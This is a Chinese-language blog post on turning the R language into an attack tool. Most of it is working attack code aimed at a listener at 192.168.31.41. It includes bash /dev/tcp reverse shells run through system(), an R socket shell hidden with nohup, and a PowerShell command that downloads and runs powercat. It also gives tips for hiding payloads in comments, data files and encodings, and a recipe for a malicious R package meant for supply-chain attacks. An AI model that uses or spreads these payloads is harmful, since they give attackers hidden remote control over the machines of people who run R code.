这篇文章发表于 945 天前,可能其部分内容已经发生变化,如有疑问可询问作者。

这篇文章不是R语言的数据分析,而是讨论黑技术。

R作为一种语言显然是存在操作余地的。

我们先来探索一下R语言中的一些比较危险的可控函数吧。

回弹命令

A.几个函数

1、shell('dir', intern=T) #This function exists only on Windows: on all other platform system uses a shell.

2、system('ls') #这个函数需要设定intern才能够正确交互。

3、shell.exec("https://www.baidu.com") #会打开百度,也能运行一些程序,就是不会静默下载2333

4、eval(parse(text='print("123")')) #这个就有那味了。。

5、R上自带了socket方法,可以创建套接字进行回弹。


关于2的函数方法,要明确几点——

当intern=TRUE时,相当于调用了popen;而intern=FALSE时,相当于直接使用C函数system来调用命令。具体看这篇翻译文章或者R的help。

使用cmd可以这样:

system("C:/Windows/System32/cmd.exe dir", intern = TRUE)

或者

system(paste("C:/Windows/System32/cmd.exe ","dir"), intern = TRUE)

cmd能运行,但输出有点问题,如果是运行的是powershell的话输出就毫无问题。

还有一个函数system2(其实R官方推荐在Windows下使用这个函数),但是它好像是一直有ret=127,也就是被禁用,暂不讨论。

另外,经过测试,发现在Windows环境下C函数中的system默认是被禁用的


所以我们有什么简单易行的方式来回弹shell呢?下面举几个小例子。

准备:在192.168.31.41的机子上nc -lvp 23333开启监听。

B.Linux下

接下来例举几个命令:

1
system('bash -i >& /dev/tcp/192.168.31.41/23333 0>&1', intern=T)

调用bash,直接反弹一个shell到192.168.31.4123333端口上,可能由于bashshzsh的缘故失效。

捕获1

由于sh的缘故,执行失败了,需要进行如下修改:

1
2
3
system("bash -c 'bash -i 1>&/dev/tcp/192.168.31.41/23333 2>&1 0>&1'", intern=T) #在sh,zsh情况下增强健壮性

system("nohup bash -c 'bash -i 1>&/dev/tcp/192.168.31.41/23333 2>&1 0>&1' >/dev/null 2>&1 &", intern=T) #后台运行,建议使用这个命令,效果就像下图

捕获2

1
eval(parse(text='system("bash -i >& /dev/tcp/192.168.31.41/23333 0>&1",intern=T)')) 

前面这4个例子说白了就是把bash回弹整花里胡哨一点,这两篇文章作为原理性的思考很不错。点这里点这里

(最近看到一篇很好的关于tty的文章 —2021.10.21 )

直接使用R来运行回弹可以吗?当然可以。

1
f1<-function(ss,socket){ans<-system(command=ss,intern=T);for(i in 1:length(ans)){write.socket(socket,paste(ans[i]," "))};write.socket(socket,"\n")};socket<-make.socket(host="192.168.31.41",port=23333,fail=TRUE,server=FALSE);on.exit(close.socket(socket));repeat{try(ss<-read.socket(socket),silent=T);if (ss=="") break;try(f1(ss,socket),silent=T)};close.socket(socket);

捕获4

体验还行对吧,虽然这个交互直接是藏不起来的,不过……

1
p<-'f1<-function(ss,socket){ans<-system(command=ss,intern=T);for(i in 1:length(ans)){write.socket(socket,paste(ans[i]," "))};write.socket(socket,"\n")};';pa<-'socket<-make.socket(host="192.168.31.41",port=23333,fail=TRUE,server=FALSE);on.exit(close.socket(socket));repeat{try(ss<-read.socket(socket),silent=T);if (ss=="") break;try(f1(ss,socket),silent=T)};close.socket(socket);';system(paste("nohup R --no-restore --no-save -e '",p,pa,"' >/dev/null 2>&1 &"),intern=T)

这样就藏好了!而且在R里面不会留下映像痕迹!

ps:这里的拼接后执行的trick是为了绕过R里面只有单双引号的限制,相信有更加简明的操作,然而我没能想到。

C.Windows下:

要直接运行某个文件的话:

1
2
3
shell.exec("file:///C:/Windows/System32/calc.exe") #这个shell.exec能用来运行某个文件,至于文件不落地我不知道能不能实现——应该只有下载后的文件才能够被直接执行(讲真,我觉得**这个shell.exec更适用于钓鱼**)

system(paste("C:/Windows/System32/calc.exe"), intern = TRUE) #和上面一句话差不多等价,输出略微有点区别,并且这个不能访问网页

要执行某个cmd或powershell命令的话:

1
2
3
4
5
shell("C:/Windows/system32/WindowsPowerShell/v1.0/powershell.exe whoami", intern=T)

system("C:/Windows/system32/WindowsPowerShell/v1.0/powershell.exe whoami", intern=T)

eval(parse(text='shell("C:/Windows/system32/WindowsPowerShell/v1.0/powershell.exe whoami",intern=T)'))

于是可以这样喽~~~

1
cmd<-'-nop -exec bypass -c "IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c 192.168.31.41 -p 23333 -e cmd.exe"';system(paste("C:/Windows/system32/WindowsPowerShell/v1.0/powershell.exe ",cmd), intern = TRUE)

ps:在R手册的system函数里面还提到了两个比较有趣的minimizedinvisible参数,但这里不作展开。另外,命令太长可能导致R-GUI卡死崩溃,可以考虑拆分;至于运行R脚本则可以成功(脚本echo输出超长字符串成功的图如下)。

捕获3

然后是socket方法。

1
f1<-function(ss,socket){ans<-system(command=paste("C:/Windows/system32/WindowsPowerShell/v1.0/powershell.exe ",ss),intern=T);for(i in 1:length(ans)){write.socket(socket,paste(ans[i]," "))};write.socket(socket,"\n")};socket<-make.socket(host="192.168.31.41",port=23333,fail=TRUE,server=FALSE);on.exit(close.socket(socket));repeat{try(ss<-read.socket(socket),silent=T);if (ss=="") break;try(f1(ss,socket),silent=T)};close.socket(socket);

想要藏起来的话就利用powershell的命令藏起来,可以试试像-WindowStyle Hidden这样的命令。

知道了在Linux和Windows上该怎么操作之后,结合msfvenomcmd/unix/reverse_bash或者cmd/unix/reverse_netcat来生成相关的payload也是不错的选择,不赘述了。

混淆躲避

明目张胆地这样写肯定会被当场毙了。。有什么办法能让人会去运行一下代码呢?下面是一些想法。

1、可以使用%>%这样的管道符来调用匿名函数,将payload放在数据文件中,然后拼凑后形成危险语句。

2、偷偷在注释里面放代码。

3、利用花式编码,给人惊喜之感。比如js里面的aaencode方法

4、R语言里面“回调执行”的函数也比较多,比如source,怎么操作就不细说了。

……

编写恶意R包

之前的混淆操作有点low,但结合这一部分就非常刺激了,不仅能更有效隐藏攻击,而且攻击范围更大。这部分针对Linux写一下,Windows同理。编写R包的部分参考了这个老哥的博客

以rocker环境(docker+R官方版本)来搞,

1
2
apt update
apt install r-cran-devtools

进入R的交互命令行,

1
2
3
4
5
library('devtools')
create('maliciousR') #在/root下创建这个文件夹
setwd('~/maliciousR')
dir()
file.edit('DESCRIPTION') #稍微改一改

退出R命令行,直接在/root/maliciousR/R里面创建一个malicious.R文件,内容可如下:

1
2
3
shell <- function(){
system("nohup bash -c 'bash -i 1>&/dev/tcp/192.168.31.41/23333 2>&1 0>&1' >/dev/null 2>&1 &", intern=T)
}

这里当然使用socket方法通杀各种OS最好啦!不过有点问题,我懒得改了,概念性示范就够了。之后重新进入命令行,

1
2
3
4
5
setwd('~/maliciousR')
library(devtools)
load_all()
shell() #作为测试,在192.168.31.41上nc -lnvp 23333
build() #之后就会生成一个tar.gz的压缩包,大功告成

要是能够在运行library(maliciousR)之后直接加载恶意代码就更好了,不过不演示,提供该项目供学习参考,其中的R/zzz.Rlibrary加载后直接攻击的核心。

这部分甚至能结合供应链攻击,非常有意思。再高端一点,结合两个包拼接或者单包+不落地文件实施攻击,危害较大,不写了。

当然,这篇文章写出来的主要目的是为在有R环境的shell回弹提供一些小思路。滥用技术,后果自负。